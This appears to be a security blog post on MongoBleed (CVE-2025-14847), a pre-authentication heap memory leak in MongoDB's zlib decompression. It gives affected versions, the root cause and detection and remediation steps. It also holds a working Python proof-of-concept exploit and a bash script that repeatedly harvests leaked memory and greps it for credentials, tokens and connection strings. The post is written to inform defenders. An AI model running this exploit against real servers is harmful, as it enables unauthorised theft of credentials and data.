MongoBleed (CVE-2025-14847): MongoDB Memory Disclosure

Introduction

In December 2025, a vulnerability dubbed "MongoBleed" was disclosed in MongoDB Server — and the name is not hyperbole. CVE-2025-14847 is an unauthenticated memory-read vulnerability in MongoDB's zlib compression layer that lets a remote attacker read arbitrary heap memory from a MongoDB server without ever providing credentials. The comparisons to Heartbleed are warranted: same class of bug, similar impact, and an attack surface measured in hundreds of thousands of exposed instances.

Within two weeks of disclosure, working exploits were public. Within a month, Censys reported 87,000 potentially vulnerable MongoDB instances facing the internet. The vulnerability affects virtually every MongoDB release going back to version 3.6, making the blast radius enormous.

This post covers the technical root cause, how the exploit works at a protocol level, and what you need to do about it.

Vulnerability Summary

• CVE: CVE-2025-14847

• CVSSv4: 8.7 (High)

• Affected: MongoDB 3.6.x – 8.2.2

• Fixed In: 8.2.3, 8.0.17, 7.0.28, 6.0.27, 5.0.32, 4.4.30

• Type: Unauthenticated Memory Disclosure

• Attack Vector: Network (pre-auth)

Affected Version Matrix

• 8.2: 8.2.0 – 8.2.2 → Patched in 8.2.3

• 8.0: 8.0.0 – 8.0.16 → Patched in 8.0.17

• 7.0: 7.0.0 – 7.0.27 → Patched in 7.0.28

• 6.0: 6.0.0 – 6.0.26 → Patched in 6.0.27

• 5.0: 5.0.0 – 5.0.31 → Patched in 5.0.32

• 4.4: 4.4.0 – 4.4.29 → Patched in 4.4.30

• 4.2, 4.0, 3.6: All versions → No fix available

Root Cause: Trust Misplacement in Decompression

The vulnerability exists in message_compressor_zlib.cpp, the component responsible for handling zlib-compressed network messages. MongoDB's wire protocol supports three compression algorithms — zlib, snappy, and zstd — and the bug is specific to the zlib path.

The core issue: when decompressing an incoming OP_COMPRESSED message, the code returned the allocated buffer size (output.length()) instead of the actual decompressed data length. This means if the buffer was allocated larger than what was actually decompressed, the remaining bytes in that buffer — containing uninitialized heap data from previous operations — would be treated as part of the valid response.

The critical detail: this decompression happens before authentication. The MongoDB wire protocol processes compression at the transport layer, which means any client that can reach the MongoDB port can trigger this bug. No credentials required.

How the Exploit Works

OP_COMPRESSED Message Structure

MongoDB's wire protocol includes an OP_COMPRESSED message type (opcode 2012) that wraps any standard message in a compressed frame. The structure:

┌──────────────────────────────────────┐
│ Standard MsgHeader (16 bytes)        │
│   - messageLength                    │
│   - requestID                        │
│   - responseTo                       │
│   - opCode = 2012 (OP_COMPRESSED)    │
├──────────────────────────────────────┤
│ originalOpcode (4 bytes)             │
│ uncompressedSize (4 bytes)  ← LIES   │
│ compressorId (1 byte) = 1 (zlib)     │
├──────────────────────────────────────┤
│ compressedMessage (variable)         │
│   Tiny valid BSON, zlib-compressed   │
└──────────────────────────────────────┘

The key field is uncompressedSize. This is an attacker-controlled value that tells MongoDB how large a buffer to allocate for the decompressed output. The server trusts this value without verification.

The Attack

1. The attacker connects to MongoDB's port (default 27017) — no authentication needed

2. Sends an OP_COMPRESSED message containing a minimal valid BSON document (e.g., {"a": 1}) compressed with zlib

3. The uncompressedSize header field claims the decompressed data will be much larger than it actually is — say, 65536 bytes for a payload that decompresses to 20 bytes

4. MongoDB allocates a 65536-byte buffer, decompresses the tiny payload into it, but reports the entire buffer as valid data

5. The remaining ~65,500 bytes contain whatever was previously in that heap region

6. MongoDB attempts to parse this oversized buffer, and the response includes fragments of the uninitialized memory

What Leaks

The leaked memory depends entirely on what was previously occupying that heap space. In practice, researchers have recovered:

• Authentication credentials and session tokens

• API keys and connection strings

• Database query results from other connections

• Internal configuration data

• TLS certificate fragments

This makes it a non-deterministic oracle — you do not get to choose what leaks, but you can send the exploit repeatedly to accumulate a large corpus of leaked memory. Given enough iterations, sensitive data will surface.

Proof of Concept

The following Python script demonstrates the vulnerability by sending a crafted OP_COMPRESSED message and examining the response for leaked memory:

hljs python
import socket
import struct
import zlib

def build_op_compressed(bson_doc, fake_uncompressed_size):
    """Build an OP_COMPRESSED message with a falsified uncompressedSize."""
    compressed = zlib.compress(bson_doc)

    # OP_COMPRESSED header
    original_opcode = 2013  # OP_MSG
    compressor_id = 1       # zlib
    uncompressed_size = fake_uncompressed_size  # The lie

    body = struct.pack('<I', original_opcode)
    body += struct.pack('<I', uncompressed_size)
    body += struct.pack('B', compressor_id)
    body += compressed

    # Standard MsgHeader
    request_id = 1
    response_to = 0
    opcode = 2012  # OP_COMPRESSED
    msg_length = 16 + len(body)

    header = struct.pack('<I', msg_length)
    header += struct.pack('<I', request_id)
    header += struct.pack('<I', response_to)
    header += struct.pack('<I', opcode)

    return header + body

def build_minimal_bson_opmsg():
    """Build a minimal OP_MSG body with {"a": 1}."""
    # BSON: {"a": 1}
    bson_doc = (
        b'\x0c\x00\x00\x00'  # doc length (12)
        b'\x10'               # type: int32
        b'a\x00'              # key: "a"
        b'\x01\x00\x00\x00'  # value: 1
        b'\x00'               # doc terminator
    )
    # OP_MSG body: flagBits(4) + section kind 0(1) + bson
    opmsg_body = struct.pack('<I', 0)  # flagBits
    opmsg_body += b'\x00'              # section kind 0
    opmsg_body += bson_doc
    return opmsg_body

def exploit(host, port=27017, leak_size=65536):
    """Send crafted OP_COMPRESSED and read back leaked memory."""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(5)
    s.connect((host, port))

    opmsg_body = build_minimal_bson_opmsg()
    packet = build_op_compressed(opmsg_body, leak_size)

    s.send(packet)
    response = s.recv(leak_size + 1024)
    s.close()

    # The response should be small if properly bounded.
    # If it is large, leaked memory is present.
    expected_size = 100  # rough upper bound for a normal error response
    if len(response) > expected_size:
        print(f"[+] Received {len(response)} bytes — potential memory leak!")
        leaked = response[expected_size:]
        # Dump leaked bytes
        for i in range(0, min(len(leaked), 512), 16):
            hex_part = ' '.join(f'{b:02x}' for b in leaked[i:i+16])
            ascii_part = ''.join(
                chr(b) if 32 <= b < 127 else '.' for b in leaked[i:i+16]
            )
            print(f"  {i:04x}  {hex_part:<48}  {ascii_part}")
    else:
        print(f"[-] Response size normal ({len(response)} bytes) — not vulnerable")

if __name__ == '__main__':
    import sys
    exploit(sys.argv[1], int(sys.argv[2]) if len(sys.argv) > 2 else 27017)

To repeatedly collect leaked memory and search for patterns:

hljs bash
#!/bin/bash
# mongobleed_harvest.sh — Repeatedly trigger and collect leaked data
TARGET=$1
PORT=${2:-27017}
OUTDIR="mongobleed_dumps"
mkdir -p "$OUTDIR"

for i in $(seq 1 100); do
    python3 mongobleed_poc.py "$TARGET" "$PORT" > "$OUTDIR/dump_$i.txt" 2>&1
    sleep 0.5
done

# Search collected dumps for interesting strings
echo "[*] Searching for potential credentials..."
grep -rihP '(password|passwd|secret|token|key|auth)' "$OUTDIR/" | sort -u
echo "[*] Searching for connection strings..."
grep -rihP 'mongodb://|mongodb\+srv://' "$OUTDIR/" | sort -u

Comparison to Heartbleed

The parallels to CVE-2014-0160 (Heartbleed) are hard to ignore:

• Root cause: Heartbleed — Trusted client-supplied length | MongoBleed — Trusted client-supplied length

• Layer: Heartbleed — TLS heartbeat extension | MongoBleed — Wire protocol compression

• Auth required: Heartbleed — No | MongoBleed — No

• Data leaked: Heartbleed — Heap memory (keys, sessions) | MongoBleed — Heap memory (creds, queries)

• Library: Heartbleed — OpenSSL | MongoBleed — zlib (via MongoDB)

• Scale: Heartbleed — ~500K servers | MongoBleed — ~87K servers

The fundamental mistake is identical: trusting a client-supplied length value without verifying it against the actual data received.

Detection

Network-Level Detection

Snort/Suricata rule for detecting exploitation attempts:

hljs text
alert tcp any any -> any 27017 (msg:"CVE-2025-14847 MongoBleed Exploitation Attempt"; \
  content:"|ec 07 00 00|"; offset:12; depth:4; \
  byte_test:4,>,65535,20; \
  reference:cve,2025-14847; sid:2025847; rev:1;)

Log-Based Detection

MongoDB logs will not directly show this exploitation since it happens pre-auth. Monitor for:

hljs bash
# Monitor for high-frequency short-lived connections (exploitation pattern)
ss -tn | awk '$4 ~ /:27017$/ {print $5}' | cut -d: -f1 | sort | uniq -c | sort -rn | head

# Check for abnormal connection rates in MongoDB logs
grep "connection accepted" /var/log/mongodb/mongod.log | \
  awk '{print $NF}' | cut -d: -f1 | sort | uniq -c | sort -rn | head -20

# Monitor for rapid connect/disconnect pattern
tcpdump -i eth0 port 27017 -c 1000 2>/dev/null | \
  grep -c "Flags \[S\]" && echo "SYN packets in sample"

Remediation

Immediate Actions

1. Patch — Upgrade to the fixed version for your branch (see version matrix above)

2. Restrict access — MongoDB should never be exposed to the internet:

hljs bash
# iptables: restrict MongoDB to specific subnets
iptables -A INPUT -p tcp --dport 27017 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 27017 -j DROP

1. Disable zlib compression — Switch to snappy or zstd as a temporary mitigation if patching is not immediately possible. In mongod.conf:

hljs yaml
net:
  compression:
    compressors: snappy,zstd

1. Enable authentication — While this does not prevent the memory leak (it is pre-auth), it reduces the value of leaked credentials if attackers cannot use them against an unauthenticated instance

Long-Term

• Rotate all credentials that may have been in MongoDB's memory

• Audit network exposure of all database services

• Implement network segmentation between application and database tiers

Conclusion

MongoBleed is a textbook example of why input validation matters at every layer, not just in application code. A single misplaced trust assumption in the compression handler — trusting a client-supplied length without verification — turned MongoDB into a memory disclosure oracle for anyone who could reach port 27017.

The vulnerability's pre-authentication nature and the sheer number of affected versions make this one of the most impactful database vulnerabilities in recent years. If you are running MongoDB, patch now and audit your network exposure. If you are running end-of-life versions (4.2, 4.0, 3.6), there is no fix coming — migration is your only option.